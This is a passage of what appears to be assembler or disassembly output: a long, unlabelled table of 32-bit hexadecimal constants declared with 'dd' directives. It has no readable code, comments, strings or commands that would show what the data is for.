		dd 95FA4300h, 330C8AD6h, 35ED0562h, 22DF86A2h, 889090B0h
		dd 0D9098B2Bh, 800B43BFh, 722CCEDCh, 3D1B245Eh,	0F5B38C10h
		dd 1FF82DE0h, 2BE51813h, 0AC215820h, 0F57D29FFh, 78A80060h
		dd 99294DEh, 0D747120Bh, 1B04204Ch, 149C3h, 75E51F3Ah
		dd 2462C050h, 6754D112h, 10330021h, 0CBCE9050h,	0AD080058h
		dd 4695908Fh, 4361E717h, 7DA4F190h, 9E017426h, 29D772D2h
		dd 883E0C77h, 70E6150Dh, 39670801h, 0CCF60BB1h,	9694DDCh
		dd 0A4629EABh, 1713F087h, 80D2657Ah, 6F79E406h,	0F3089012h
		dd 0D8CE7042h, 5354603Ch, 0FB480020h, 0E196DAB1h, 0C6123F25h
		dd 2A000D62h, 0A0C3AA61h, 7C91FC87h, 0E20F010Ah, 3B20CAD1h
		dd 0D40BF72h, 588B5118h, 9972DECh, 0F8B562C4h, 578EC400h
		dd 170C26DCh, 0C94B5265h, 76D2A35h, 996CF890h, 0EB910520h
		dd 0B86400B4h, 86E392D5h, 0A3CEFC00h, 0A413584h, 187E5834h
		dd 8CC0E8h, 0E012225Dh,	0B1BBE8CCh, 28C634Ch, 1A240652h
		dd 40F86298h, 0FBC9CC0h, 0EA808CA5h, 0A00325A6h, 81E2260Ah
		dd 0DB0090CAh, 5F76DBFh, 7CE9000Dh, 5A037DE3h, 20C03E58h
		dd 0D29AE4A4h, 20F4531Ah, 782D682h, 414218h, 7E3B539Eh
		dd 0F5E00F52h, 0EAA0F206h, 3BE8517Ch, 879CCBC7h, 0C55A4001h
		dd 3966D323h, 0E700C4F8h, 780264AAh, 3428F6h, 0A2D90D9Eh
		dd 18FCDFDCh, 0A973FE00h, 240E9C04h, 8303DA1h, 0BA500A00h
		dd 36786A28h, 5300E1F8h, 7F4E0CA4h, 73B8540h, 819461FBh
		dd 0CDA86050h, 0C50013DDh, 4847AE3Ah, 63F6Ah, 0F70EF575h
		dd 0A955ED99h, 689C921Dh, 49290B80h, 1A8B07h, 0BA23790Fh
		dd 0E2AE7EDBh, 97267200h, 0A0DCB894h, 0CF840096h, 0A655C6BBh
		dd 0F4C04595h, 3D501B75h, 21F40029h, 0C3180377h, 4E7F11CFh
		dd 88A1E400h, 0FE0BAA55h, 195209B6h, 59803D90h,	93B79BBEh
		dd 0CDCE6400h, 62AF352Bh, 76E2CAh, 95EAA679h, 947E67A9h
		dd 0B1525D00h, 7A1854A7h, 6022007Dh, 625CD7A8h,	70F53419h
		dd 8300ABB8h, 0ADA557F4h, 7024282h, 0C1280FA0h,	549A90EEh
		dd 0F407064Eh, 8F63EC29h, 4D45E4C0h, 36670251h,	646A270Dh
		dd 5FC06C40h, 0BC5B3900h, 0E3A550A9h, 0E9A13E59h, 0F3DF9D86h
		dd 0F200196Bh, 87D69644h, 48425946h, 0E3809470h, 65BC7FFEh
		dd 79120607h, 0C4B01172h, 1CE56AE1h, 40BE7B1Dh,	0A8FAC0E0h
		dd 100A03Dh, 7319D17Fh,	7D90B353h, 2D7E03B1h, 0F4A72E85h
		dd 2A17B780h, 65A99D24h, 0F7E47A00h, 78EE765h, 43F4671Fh
		dd 2C7930A0h, 0FD008C22h, 855D1A41h, 58D3E1DDh,	0B700B934h
		dd 5AC0C794h, 65001F06h, 50688A77h, 719E80h, 8829DC4h
		dd 8F78EAD0h, 0B7FDFC00h, 95E7287Dh, 6DE9007Ch,	9C35D99h
		dd 4E0090A8h, 0BCC4359h, 0F025A208h, 0D7BE01F0h, 2D0D3368h
		dd 7E8C3429h, 49E7B000h, 0DBCF7441h, 8C0154A7h,	0B8190086h
		dd 1EDE4551h, 561EC608h, 79FF4Fh, 0D9A94950h, 4832BD91h
		dd 61009F8Ch, 7BA41A19h, 0CD0FAD2Ah, 0A00F2766h, 0C0A71825h
		dd 0BAE82845h, 0B7DC0184h, 7A1EDB1h, 0B87CE879h, 99B6AC00h
		dd 9C638DF6h, 51B00091h, 0EF5AE353h, 0CF097D71h, 805C6DA2h
		dd 0E1DEC07Ch, 0E4A5002Ch, 0FE5FAA74h, 7854A93Ah, 4D3BCCC8h
		dd 27E8986Ch, 607D10h, 5BBDD6B6h, 47D25277h, 95816C1Fh
		dd 63ACA540h, 30FDC6Ah
		dd 1C5E405Dh, 6DF8025Ah, 1500FC75h, 0EC2E4D53h,	88D3F9h
		dd 72CD1AAEh, 99AFF4A5h, 24566217h, 0D4F1D500h,	2EB27Ah
		dd 0F47B9BADh, 5195E641h, 0F8BC1533h, 0CC81F8C7h, 9A2B0002h
		dd 68D4350Ch, 5600D36Ch, 4E1DB160h, 2E15923h, 0CD66D8Dh
		dd 0A4405029h, 0D200224Bh, 2E701785h, 0C05A6B2Ah, 0FEF3D1C9h
		dd 0FC00A026h, 4D1EE5D4h, 837B18h, 3F7F9621h, 98550D12h
		dd 0FC000CB2h, 0F5399FACh, 3C143246h, 88494F6Bh, 68459280h
		dd 6C03E715h, 320EA4CCh, 0FCAFF10Fh, 0BE00A854h, 9AF2E28Eh
		dd 7D2003E7h, 1857C7A0h, 7FE53AF0h, 0BB00867Bh,	25485F28h
		dd 12A81ECDh, 291FE1h, 0CB0BB89Ch, 2001DA07h, 25D5E770h
		dd 0DC8804Bh, 0DFD75CF6h, 83F52A00h, 0B04EF017h, 9BCAA4Dh
		dd 16EBE5h, 7E59FD19h, 3CEEFBh,	297B8AC6h, 55B01080h, 0B4ADF207h
		dd 7735EFC0h, 0D98C88C3h, 51D4F18Eh, 0F5C500D0h, 3CF28E4h
		dd 0F4041F33h, 0CE3E10FFh, 57FD25C0h, 7096FA2Dh, 9FD7070Ah
		dd 0F0A2D097h, 22640D69h, 1F65710Ah, 0D6079185h, 0D16475DCh
		dd 1F194B0h, 116AB8C8h,	209421ADh, 0F30528D4h, 8AE2EF0Ah
		dd 0F63D4080h, 0EA0801B7h, 9A07E979h, 439FC47Bh, 49AF9100h
		dd 0A75DFE16h, 302A00BAh, 77AB13BBh, 681FDCC3h,	0FD809A39h
		dd 8471E6FEh, 2CC907F6h, 80C77682h, 7DDEDDFBh, 7C4910Fh
		dd 4228C00Fh, 0ECCC2D79h, 5A3B384Ah, 8C599480h,	0BB4FE2A9h
		dd 15D40C03h, 0AA3D379Eh, 49F2C0C4h, 0DAB70003h, 14461F82h
		dd 0F10007E6h, 389A2947h, 0E7FC27h, 0DB13589Dh,	0E9AF3EDCh
		dd 0FBBB80A0h, 6D312900h, 0E3A89ECAh, 0BE8E045Fh, 0C1AC8D97h
		dd 0F88319CCh, 0F912912Ch, 1C40A7C0h, 72BE9FCEh, 0B4B0001Bh
		dd 0BDA96492h, 0A0580CF9h, 0B7CF0585h, 84804139h, 9C57D3h
		dd 0AA6C72ACh, 76FDB2D6h, 0FA661000h, 4277520Dh, 53043A16h
		dd 4CA6028Eh, 8F5175E0h, 2D729F3Eh, 0C8C78C24h,	0FA041100h
		dd 0CAC4EF3h, 0CE79FDFFh, 92055B18h, 6CD05612h,	0D347EC1Ch
		dd 0FCA0AA42h, 9C17E25h, 0B7B15F2Ch, 1E083000h,	3200B628h
		dd 9BF029A2h, 0C51A3Fh,	88E54DA3h, 0D2DBAF4Ch, 0F8653900h
		dd 79FC697Ah, 406600A8h, 4A02B1FBh, 9B00D6E4h, 3A567585h
		dd 1AE822Eh, 8D1B7C07h,	0EC7801A3h, 5FFC1D4Fh, 1A988603h
		dd 889B38EEh, 0D7F263h,	0BBB4B9CCh, 466EF8ECh, 0C1DE841Dh
		dd 16D9B840h, 597350h, 0A836BDE5h, 0CEA30C68h, 7B7C6B00h
		dd 0E92EE1B7h, 0E05000A7h, 90E47759h, 5B0E135Fh, 2CA1DDh
		dd 0AC563F0Fh, 0F8854CFCh, 2E38B10Eh, 18803069h, 0BADFB2EDh
		dd 56F02F50h, 9815CD1Fh, 666BC45h, 867BC700h, 0B519F90h
		dd 2861D149h, 7064C087h, 6D5C526Bh, 0B1A6EB2Ch,	0A09FE50Fh
		dd 0D01ABA53h, 0B57F004Fh, 83241814h, 5803EE09h, 0BD4DF1B7h
		dd 0BC213F37h, 0B90A3980h, 0A0DF9B41h, 0BD269000h, 0B5F0ECCCh
		dd 1B42034Bh, 0F8D982B4h, 0FB2CC098h, 0FB8B003h, 0F46644D5h
		dd 0D0CE5380h, 0B62900E5h, 86C40CC6h, 0C8F332F7h, 2524E761h
		dd 74005448h, 2EBAF2EEh, 803C96B2h, 5023A60Ah, 0F5051F43h
		dd 924D16B8h, 0D0EF98C3h, 7FA6A33h, 966DDDE3h, 2607E87h
		dd 5D36CB56h, 0D6431A00h, 76E3BA7Fh, 0D10009Fh,	0EC51E8E6h
		dd 4806CE38h, 6EDB3786h, 0BDA00111h, 6C2FCCD2h,	7C6C28A2h
		dd 0A72A2612h, 6B24E8C0h, 497901F1h, 4477F73Bh,	0AC85E0FCh
		dd 525E101h, 0A927A651h, 819CC0F7h, 0F73A003Bh,	1B57E792h
		dd 49C0ABF4h, 74CD8FCEh, 0F0620C3Bh, 0D119E7DCh, 71EE9102h
		dd 0C204D75Eh, 0C02C6A05h, 9618E5ACh, 9F8D004Ch, 8F898826h
		dd 8B0A1AE8h, 10EBBEFDh, 571D9103h, 0FBE004D0h,	80B01133h
		dd 0F01B32FAh, 0A0AB8500h, 0EE759238h, 0A545005Fh, 98521947h
		dd 7E007266h, 0CC63549Bh, 1A4D29h, 0AF56743Ch, 5BAC6835h
		dd 0B5DD3000h, 40751855h, 491600CCh, 6F9EEC58h,	380FFA7Eh
		dd 0A0E16B79h, 29FF76CAh, 0E6F28Ah, 0E24BDC90h,	0A67C4CEDh
		dd 388FC3Eh, 0DD8F4E83h, 0A9D9D80Eh, 0BA62007Bh, 7147AEC9h
		dd 22003D58h, 0C14FADEAh, 0C0B2F3h, 72A8C5DFh, 9AB942C2h
		dd 33D03Ch, 466BD8CAh, 4AAB53B7h, 0D44800B6h, 5FFB202Ch
		dd 0E1506717h, 0CC6BF701h, 0CA310BF2h, 58C55D0h, 5A7D18B3h
		dd 0EDF48134h, 39486D8Ah, 794E00BCh, 70B1E2E7h,	106213C5h
		dd 0A69307E1h, 30AEF18Fh, 0A9D0E70Dh, 0D8A4FDC3h, 63333811h
		dd 0E855FA03h, 80ACF946h, 2F222AE8h, 1776E206h,	1678A939h
		dd 8C23AAE5h, 74E67C68h, 1819D723h, 1B2361F0h, 44F841E6h
		dd 90589807h, 0CF80CC52h, 26033053h, 1E0D0238h,	0EC560263h
		dd 0C4792DD2h, 9F756801h, 0AE215794h, 3B22C439h, 75724A00h
		dd 1C0969CFh, 0EA5C2D8Fh, 0D2E65CA1h, 19D2420Ch, 0BE66A160h
		dd 6C972C00h, 2F116545h, 0A58A009Eh, 3775A4E0h,	0E0C05579h
		dd 0D729EA80h, 0C348003Ah, 0CB5FB43Ch, 0E21FF035h, 140A6ADh
		dd 2A88E9FDh, 0AA6300D1h, 66B46A5Ah, 380007A5h,	3095A698h
		dd 82DF6Dh, 8415E357h, 0D626E014h, 0FE8C771Fh, 0F2FA8EC0h
		dd 416E42h, 0CF5F6425h,	0AE5BF167h, 0F013B809h,	5A80DF89h
		dd 799317E0h, 0CDC0D907h, 0E5C01D95h, 6B6743h, 0BD2C4D7Fh
		dd 5C16CFC8h, 0C7898600h, 0DEADE448h, 0E6EE00ACh, 1D023E95h
		dd 4030A95Ah, 579DB6BCh, 648E0042h, 0EB99DADDh,	0AC004705h
		dd 32A23102h, 702AB048h, 424E13E2h, 8B690770h, 1EC04F99h
		dd 0DB6D6ABFh, 0E49B6504h, 0FA877D42h, 1C21C346h, 4F6E3B72h
		dd 93A30892h, 1800040Dh, 0B99E7E9Fh, 5805EE4Eh,	3337DEEBh
		dd 44B87070h, 287F9D9Fh, 3125C630h, 1EB0AFFh, 57CB7AD5h
		dd 0BFC4A831h, 5F21E008h, 7E3AECF9h, 0E64700F4h, 0ACFF4098h
		dd 58C52D6Ah, 0B28685C2h, 0A030D870h, 160D2FD4h, 682EAC51h
		dd 0E7E88F00h, 0ECC90E6h, 6C73992Dh, 202F5D86h,	4C487701h
		dd 0F9C6C842h, 0BD8A7980h, 9CA5DC89h, 2D91A600h, 3DCB04D0h
		dd 474B055h, 113E19E2h,	692386D2h, 21875F00h, 0C7DA8551h
		dd 7596076Eh, 0A0830CF1h, 3237E3D3h, 0F534F9C0h, 5EBDAC3h
		dd 8D1372F4h, 73C4235Dh, 0CCA1EDC2h, 0E4578717h, 140010E3h
		dd 0B236E499h, 0E21C16h, 0D5D34D03h, 0FC1A53ACh, 0D9749800h
		dd 5C048390h, 94A52642h, 0D6580E8Fh, 75397061h,	0FA044BBBh
		dd 0E961C680h, 0D97F8E7Dh, 116E4B0Ch, 7824206Dh, 288A61EFh
		dd 86D32246h, 3A433639h, 62400340h, 7E5128ACh, 6DA10C98h
		dd 8618713Dh, 1652B63Ah, 0ED500029h, 0EFF11506h, 0BA1D6ED5h
		dd 0CC198817h, 1C0D321h, 92160048h, 94B378D5h, 180E837Fh
		dd 5FD7AC6Ch, 0BA2BB6C3h, 29B9304Dh, 0B9EF9C10h, 2D2008D8h
		dd 40D9DC77h, 6B418F10h, 5C03559Ah, 6A8D4489h, 7C08048Ah
		dd 0B90908h, 56DD46BAh,	7845F20Fh, 0C0517DCFh, 1DBB91E8h
		dd 0B8023F66h, 73C3466Dh, 0F08CA669h, 4D7000B9h, 0F49C58E0h
		dd 0C15D8AAh, 0AC7C79h,	1CB4080h, 0C6D098h, 6373CC45h
		dd 0FA947A33h, 56BCB31Dh, 99495958h, 0E80E231h,	114D5884h
		dd 222B7460h, 1A037FAAh, 2C65397Ch, 5179393Ch, 96002E5Ch
		dd 0E4BA193Fh, 8A704CB2h, 4BECD201h, 58F57C1Ch,	0EC003961h
		dd 0AACD10Ch, 90EFB2B5h, 0E3E460E0h, 0DB001385h, 315F1FDAh
		dd 0CD84839h, 0BAA362FCh, 4C000BC8h, 4263E625h,	3FD1A74Eh
		dd 2281DDCDh, 0A1E5CC2Eh, 5112F7BEh, 18404791h,	3C9AB5D5h
		dd 44B1007Ch
		dd 7F7B40FAh, 420029A6h, 0BBD0DAC7h, 2BAF37Eh, 58A78F76h
		dd 0DB80ACA4h, 0D4E56E60h, 0F04FE00h, 4DA8F85Bh, 36711570h
		dd 901F074h, 17F53C40h,	0C56FC4CAh, 0C40B2C2Bh,	2EFEFC00h
		dd 0F611B8FFh, 655B1F0Ah, 38D6CEA1h, 95569480h,	53F9F728h
		dd 0D1F26CC0h, 0BE5104DDh, 64844780h, 0A2F11810h, 0E3930845h
		dd 0E521401Fh, 52BA3704h, 24201496h, 401CDCCFh,	33CBE37Fh
		dd 54FEBF00h, 44435CE6h, 18A274DAh, 291E5F86h, 210077D0h
		dd 0FA16319h, 0A2ED1Ch,	0D532BF60h, 0ECDBC7EFh,	0F4FC1E01h
		dd 542EC12Ah, 24463884h, 3CC488A2h, 1C7F8288h, 0C08DFB44h
		dd 315D6E1Fh, 381FC8BFh, 80C05304h, 0DD697195h,	0A0F0A32Dh
		dd 284925BEh, 0F3AC4375h, 3784980h, 0A342FD70h,	0D40D6500h
		dd 6255C230h, 0EA721D0Ch, 5828C0ECh, 1B71760Eh,	60BF3712h
		dd 0F2A27844h, 0CF819097h, 202441BEh, 0B1D16FACh, 215D2900h
		dd 130001DBh, 0F198C5D5h, 2DAE192Ch, 3ED0CCECh,	70ACE50Eh
		dd 516E6C07h, 90CE0EDBh, 37015292h, 98041EA8h, 0F5595F08h
		dd 939003FAh, 898CB928h, 0C47C9024h, 1EF71B40h,	6E76000Dh
		dd 0A0327187h, 9D00C9B3h, 0A6E95031h, 0E90E18CEh, 18FB1AE4h
		dd 586CDBA9h, 0FF00B8E8h, 0DE7F1B92h, 18713F33h, 7949A9D9h
		dd 0CFE206D2h, 8AFAF300h, 7FC1E5D6h, 706D0017h,	0C5192E9Bh
		dd 654C6431h, 0F440DE3Ch, 9E307334h, 22DF4E0h, 761DBA1Ch
		dd 0B4694E82h, 0C324105Eh, 0D02A833Eh, 0F001A8A2h, 0D1339ED5h
		dd 9F405E3h, 12C02858h,	55E130ECh, 0C2434431h, 4F3A7401h
		dd 0A260BD7Ch, 87A890D7h, 0F48014B4h, 9A0074ACh, 0BB3DCF76h
		dd 0D90EEDA3h, 20F1CB0Bh, 0CA89243Fh, 0EC92489Fh, 0F4E40D80h
		dd 8400DC65h, 4924B0B3h, 0FE2E7Fh, 3E11627Ah, 0FB3F07C5h
		dd 0ED4CF404h, 0A0C0F7AAh, 306851DFh, 19A15098h, 7092FC7h
		dd 68ECDC2h, 4908B5BEh,	14057405h, 0B772F83h, 0ED8056DEh
		dd 0B650C4CEh, 3491A278h, 7FFBE100h, 7D69578h, 6AAFA6F1h
		dd 710C37DBh, 806F2CACh, 4E101B28h, 48371591h, 0F484D4D9h
		dd 8DF48169h, 6064F2F3h, 1A36A44h, 82B31C6Bh, 0CB06B526h
		dd 0E088C581h, 0D2123F03h, 0FC04A10Ah, 748897D0h, 72CD88CCh
		dd 4687560Eh, 2C528026h, 2173304h, 51DA5445h, 8498919Eh
		dd 25112C7Dh, 468C9DC2h, 0B904FE89h, 875F842Fh,	0F2606890h
		dd 0C4460019h, 9EBDCDE6h, 80E915Dh, 0C03CF988h,	5228DCBFh
		dd 0D5051AFEh, 0D08249CDh, 0EC206C34h, 48A035D0h, 93C01894h
		dd 1E51DB47h, 62B4E71Dh, 853D854Fh, 9C0A1952h, 1C29747Eh
		dd 98C86700h, 50A79930h, 37F3479h, 0C281E13Ah, 0E889432Dh
		dd 43872B6h, 48D4A993h,	2654F480h, 0C8F354C3h, 0BA9E0207h
		dd 0A4934B12h, 0CE005CC4h, 62B70BC2h, 0F4AA7179h, 589E6EE1h
		dd 516D3501h, 0BA30057h, 0DDA40C5Dh, 1388D8Ch, 0FCE283F2h
		dd 3D8AC05h, 2404E754h,	4C88BAB4h, 7A7E0AEFh, 40180B34h
		dd 0FFD4CF55h, 1CD0B104h, 1080393Dh, 17533Fh, 2BA1F6D3h
		dd 0E62EE2E8h, 0A050B705h, 1F805D08h, 5CC833D5h, 7C84AFh
		dd 5E963F95h, 6B0291AAh, 89FCA70Fh, 81C64C51h, 0EDB8C429h
		dd 0CEE08049h, 2F043538h, 0B6E79CCFh, 5DB7488h,	7C1F4A5Ch
		dd 0F4D84354h, 7FC018FEh, 69246C57h, 105E2CDFh,	80B9542Fh
		dd 0A829D5A2h, 0DDB302B6h, 0E53A6134h, 4C02DCECh, 17F29C01h
		dd 10411988h, 1010B30h,	0F322DDF5h, 32CD409Dh, 0CFAC1554h
		dd 0FE6500FCh, 5783DCD8h, 20A02E34h, 3C1709A8h,	3291D011h
		dd 0D0030074h, 0A5B2AF31h, 8EFF003Dh, 80A996EDh, 1726104Eh
		dd 9302AC32h, 0A13BAC81h, 0BE0E1BCCh, 4DE8AAD9h, 679EECA2h
		dd 40125051h, 0E38D6972h, 0D555B0A0h, 8FB1A10Bh, 0F1680056h
		dd 0FF2AA4D6h, 75C0D7E2h, 74948C8Ah, 5EDB8B00h,	2CB4AF3Ah
		dd 2074A3F7h, 0C97209C8h, 5003419Ah, 0B91221E1h, 80902763h
		dd 0B7B1889h, 54D1995Ah, 0EDAA6098h, 50802B1Dh,	806556C9h
		dd 9EA3BE90h, 25B80B6Dh, 0AC015F90h, 0EDFA626Bh, 9854CCD9h
		dd 404B5630h, 943A2B7Eh, 0F90770E4h, 0BF001D73h, 0D6C272CCh
		dd 0C091840Ch, 0D93CFBD8h, 5C0F3428h, 0E0507462h, 0ED58F54Bh
		dd 8CAB500Ah, 315667A5h, 0DB9DC0E0h, 7F7ABA2Eh,	7A43F300h
		dd 1D507538h, 32E43CC2h, 2825BF94h, 0D6C5580Ch,	0C0A13A19h
		dd 0F1998378h, 2B7AC4Dh, 8667F3A9h, 6090B93Dh, 48B0A7C7h
		dd 8378A8C9h, 4594C5Eh,	4B1DAA58h, 0D5F8839Ch, 0C806E8E1h
		dd 8026B651h, 0ED1414F7h, 74900E48h, 857C34BBh,	849F1B9h
		dd 1BB4C962h, 61731660h, 580C1885h, 0D58448B6h,	9462407Dh
		dd 0E0B4F940h, 6186DA78h, 16069161h, 0FE0D0E2Ch, 60498A58h
		dd 9B600DFFh, 102224C9h, 816F0070h, 0EE022BBDh,	54A0AA85h
		dd 0F8E8A33Eh, 938918A0h, 0A7A0C800h, 79412F5Bh, 0F359C1DAh
		dd 0B98BFFDDh, 0B2EF0038h, 0E5A4943Ah, 0CCCD546Dh, 0BDD81887h
		dd 4AD71171h, 5104BEF0h, 0D6377A69h, 489FD088h,	0C840D86Fh
		dd 786F07Fh, 937C91F4h,	450A80BBh, 7E30F02Bh, 4D91072h
		dd 0D3CF0094h, 57962489h, 0EE516E0Bh, 0BF304134h, 0B8DC1059h
		dd 0A9A50A38h, 48A0F0D0h, 354907F8h, 0F810A929h, 48391894h
		dd 30986B4Dh, 0E74C1474h, 0C1FA9070h, 760FE10h,	73D030E0h
		dd 0D98A3A00h, 508B47BBh, 0BF300056h, 11B8E9F6h, 4C4DC329h
		dd 40D42B74h, 7204CEE4h, 5C7428FBh, 0FF06D030h,	18B4405Bh
		dd 71EFB501h, 0F0B91A23h, 0CF16202Ch, 0D4D021D6h, 0C2544461h
		dd 0BCA48594h, 22095697h, 50E4033Fh, 1B4000ECh,	0D889D6B0h
		dd 287CDB7Fh, 0ED56A4A8h, 1F3F4226h, 8E0A1024h,	36090C5Ah
		dd 331C908Ch, 0A0CA05Fh, 7C30C454h, 357890B6h, 0BB074563h
		dd 880268A9h, 21562DF0h, 0A42718F0h, 19330851h,	8076E83Eh
		dd 4E01855Bh, 245861h, 4BFD51A9h, 0B0F5F33Eh, 9C201A2Ah
		dd 482E545Ah, 0ABF002EFh, 0E2AC53D5h, 0D394810Bh, 803013ADh
		dd 62B501E1h, 4FFC7FB6h, 0ACD43001h, 4D777902h,	82C1D272h
		dd 2161C914h, 292E2E4h,	0CD4F10A5h, 2804A58Bh, 2144366Eh
		dd 0CEE5447Ah, 0FA04615Ch, 0CD089167h, 0C4DBC443h, 0BB42C508h
		dd 2892535h, 0A9BA9014h, 0B5941907h, 423B3104h,	34E0FF5h
		dd 5121D554h, 4D590C5Dh, 14A07179h, 51C8BF9Dh, 7AAB8031h
		dd 0EB8F7632h, 665BB404h, 7AC0182Ah, 0EF859C0h,	0B59F1ED2h
		dd 214BC400h, 0D10152C7h, 0F1BA6F7Ch, 31F0493Fh, 47EF0086h
		dd 0DDEA758Dh, 7803A2D1h, 5EEB430Eh, 3EE0A013h,	4D7600F1h
		dd 7E88FD0h, 25018DBCh,	38746724h, 2EF0ED97h, 98810ED9h
		dd 6D81C7FFh, 0E0B980C1h, 0E3003CF1h, 41BEB357h, 1FA90832h
		dd 0CF93EA3Eh, 9DEFFC4Ch, 0F7E9C47Ch, 80E4D519h, 73D2CBBCh
		dd 340041E8h, 9FE1C97Eh, 900104h, 0A411AD48h, 864BC276h
		dd 8F650B00h, 0FDCA7C98h, 0B8600094h, 0FB0A139Fh, 43018E42h
		dd 407D3C9Ch, 0DAC4DF56h, 2D5C0004h, 295B6DD1h,	9000699Bh
		dd 1DAFB18Ch, 21B0CDEh,	151663E3h, 0B000B44Fh, 7090506h
		dd 0A987D061h, 0E92CB0EDh, 20FCB80Eh, 33073600h, 48D3867Eh
		dd 0CD6500A9h, 6B40607Dh, 4200F73Ah, 49D5B693h,	1DE3ACF3h
		dd 0DDA8DEDAh, 0B80FC047h, 97CB067Bh, 27624C1Ch, 619C4083h
		dd 384B00Ch, 0B830357h,	457AD6CBh, 0B0C88DE3h, 692867CEh
		dd 20EDCAFh, 0FF81D840h, 9104AD5Ch, 0F4C0B590h,	5B93B1h
		dd 0BD8420C3h, 0FEDC4F74h
		dd 0D3463900h, 0E196CDDEh, 0DAE0002Bh, 1C3DC86Eh, 3AE46F65h
		dd 18060E14h, 0CA3C0080h, 38ED44A5h, 477A90h, 6DC4245Ah
		dd 5388659Ah, 41AB0500h, 0EDD7BDD5h, 3E7BBBh, 0C5458CB0h
		dd 0FDA02D3Bh, 23FC3800h, 0ACE321A2h, 7349086h,	759F5882h
		dd 0BD039016h, 7AE0692Ah, 0EAEFF900h, 36CFDA33h, 9C5F00CBh
		dd 789A1E7Eh, 0BF00613Fh, 0CA4E562Fh, 3A40A05Ah, 3C75BD05h
		dd 3180FBA5h, 0FEB5CCC1h, 2F00BA66h, 71129CC3h,	0E91FB6h
		dd 4643B465h, 6744B86Fh, 691B5600h, 5877CBE4h, 14350089h
		dd 0E5CF93E9h, 0B300C98Ah, 0E0103381h, 12E81A78h, 2D572A8h
		dd 0B908DD10h, 0C01C8804h, 309CAA61h, 0B01CBBBh, 53E425BFh
		dd 0ACD8D778h, 0CC8A0033h, 76F28BDDh, 7400EBD9h, 0B9BA40A1h
		dd 7F787930h, 28BC006Fh, 0B7C383C8h, 18C02D37h,	0A9A3EB08h
		dd 30E80710h, 0BFE35CEAh, 0AD65B100h, 0B3005E85h, 2EF11AC0h
		dd 0D320CCh, 99BDEEC6h,	0F8A3AFDDh, 0CC8248h, 80DE1446h
		dd 143CEECh, 0F4DAF325h, 0D09D1398h, 0A70049AEh, 63CB2219h
		dd 7074AC2Dh, 0F5DE1E7Ah, 389840B4h, 0A9195813h, 93851A0Bh
		dd 9FCC40CAh, 62EEE3h, 20884EAFh, 2C138D24h, 0FAD24500h
		dd 6B785EA2h, 66F50B60h, 0DBF6E7E4h, 41C3A600h,	3B4F5Bh
		dd 44122247h, 7B639187h, 183AE077h, 9BB71357h, 8B04D401h
		dd 28FC603Fh, 58E14DB5h, 1104026h, 544D7D0Eh, 64F0FF84h
		dd 8F00E1E4h, 0F1E00489h, 0F1BC92Fh, 0EB42A527h, 0D78223A4h
		dd 4CA1802Ch, 0DF006E45h, 8DBBCC85h, 0EB93990h,	7DF80FDEh
		dd 0EDA29201h, 0D501D853h, 9870E400h, 0F252A476h, 0B275006Ch
		dd 0A03E8B9h, 9300582Dh, 12597450h, 0DCFB76h, 0F20831C2h
		dd 34DF84AAh, 8DE50A28h, 0BBB74101h, 9638F99Dh,	3E68E820h
		dd 0CCBC443Bh, 0F2C30C87h, 0B000B958h, 2ECD0460h, 0F0A6B11Fh
		dd 8B9A5E00h, 0BE023F4h, 7BDB431Dh, 53E2A80Eh, 8540A4B4h
		dd 7A1C83C2h, 2147202Eh, 0AD06049h, 19DE365h, 199209E8h
		dd 0F015B7BFh, 7903E5AAh, 0B9D2409Eh, 476A8064h, 0F806000Dh
		dd 1678A138h, 8B1131Bh,	0F2E20500h, 138DFFCCh, 40B542Ch
		dd 0C049F5CCh, 6A2B5FDAh, 107BE400h, 0DF440A77h, 61F02Fh
		dd 0E54A34A7h, 0F4704E08h, 6E07289Ah, 471004CEh, 0CFE02FE0h
		dd 129401D1h, 2CA8F0BDh, 0AFBBC811h, 0CC5E4C01h, 6340D24h
		dd 6601D0h, 0B2F5CE40h,	0C8A3B3DFh, 7F007474h, 50773E79h
		dd 75084Eh, 46117D78h, 24E957BDh, 5951503h, 0B898F8B0h
		dd 7E78EEDh, 0A24F78B6h, 50A3A00Ch, 0C500E5F1h,	2655D38Ah
		dd 3D4DA03h, 1F5840ECh,	0F600077Ah, 0ACF2AFDCh,	0ECD63808h
		dd 0E06B707Fh, 51500C6h, 9557AB90h, 590BECACh, 49F8D2h
		dd 9E4F8F8Bh, 70BA0F43h, 0FC8027A8h, 931AB572h,	7F174700h
		dd 0BF4DEF15h, 7DC9003Ch, 54A95F8h, 6000816Ah, 2965F2D6h
		dd 72696E4h, 0DCD021D2h, 0D5AF7088h, 0CD4CFCCEh, 0C8BC4BACh
		dd 7C165E07h, 4DC23080h, 0F6E29FC3h, 0F5020498h, 0CD6325E8h
		dd 77C8A048h, 0FF420B3Bh, 1467C20h, 0B2CBB193h,	0D4FCB321h
		dd 0F30067F2h, 9C246F81h, 3170E54h, 76314177h, 0B4D03683h
		dd 0C4002ECCh, 50ADB11Fh, 6A16E5h, 451C3CE9h, 819BB6E8h
		dd 90D92D00h, 231F724Ch, 91CD0EECh, 0E3A08B7Fh,	0DE06E235h
		dd 57DC0507h, 0B6B08D19h, 1DABCFB5h, 85137375h,	0C71D963h
		dd 4E488B95h, 66E0C300h, 0A0ED78DEh, 0A2A90052h, 3D22423Ah
		dd 60061DBh, 0C4CAB938h, 43B06Fh, 0D701E49Ah, 0D93BA7E8h
		dd 0FD0053ECh, 527F4F7Eh, 0EB0C11h, 8DB9CB6Dh, 21AE241Eh
		dd 935383Ah, 1190CCh, 74697E54h, 1DC5009Eh, 9DE76059h
		dd 3D1F4FBAh, 0D8CE2E3Ch, 9E8D0031h, 9006C9D3h,	0F30E0590h
		dd 0A7B018h, 0F61BA3A2h, 56002D58h, 3ADF7BB2h, 71BE68h
		dd 8AAE83FFh, 289FD8E8h, 508CCD00h, 5B7E2B64h, 0F410C0B3h
		dd 0D7E0DA44h, 179AEE0Fh, 9626A116h, 28966ACFh,	0BDD30FBFh
		dd 81FE9320h, 18096886h, 20AD3A63h, 7F58E114h, 9B4E582Eh
		dd 40C6A800h, 0B350F418h, 0E51EC300h, 6FB4EC0Dh, 94B808h
		dd 0D96C3C55h, 66D27FB1h, 9E00F7E8h, 0DBB90B0Eh, 18A772B0h
		dd 3C569F99h, 0F008180h, 0C934A0CAh, 3CE62Bh, 0A1577069h
		dd 8DB591CEh, 49864E00h, 1D03D779h, 0B995006Ch,	8F2EB34h
		dd 0C8006DE7h, 7D1F48A1h, 0EC73658h, 770DA331h,	69D444C0h
		dd 1D0039A5h, 0C6A49983h, 0F29D612Ch, 4A15008Ah, 0E7510970h
